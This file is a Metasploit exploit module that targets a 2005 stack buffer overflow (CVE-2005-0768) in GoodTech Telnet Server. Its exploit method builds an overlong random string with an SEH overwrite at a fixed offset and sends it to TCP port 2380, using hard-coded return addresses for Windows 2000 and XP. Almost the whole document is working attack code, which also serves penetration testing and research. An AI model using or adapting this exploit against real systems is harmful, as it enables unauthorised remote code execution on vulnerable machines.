##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GoodTech Telnet Server Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
        versions prior to 5.0.7. By sending an overly long string, an attacker can
        overwrite the buffer and control program execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2005-0768' ],
          [ 'OSVDB', '14806'],
          [ 'BID', '12815' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro English All',   { 'Ret' => 0x75022ac4 } ],
          [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Mar 15 2005',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(2380)
      ])
  end

  def exploit
    connect

    sploit = rand_text_english(10020, payload_badchars)
    seh    = generate_seh_payload(target.ret)

    sploit[10012, seh.length] = seh

    print_status("Trying target #{target.name}...")

    sock.put(sploit + "\r\n\r\n")

    handler
    disconnect
  end
end
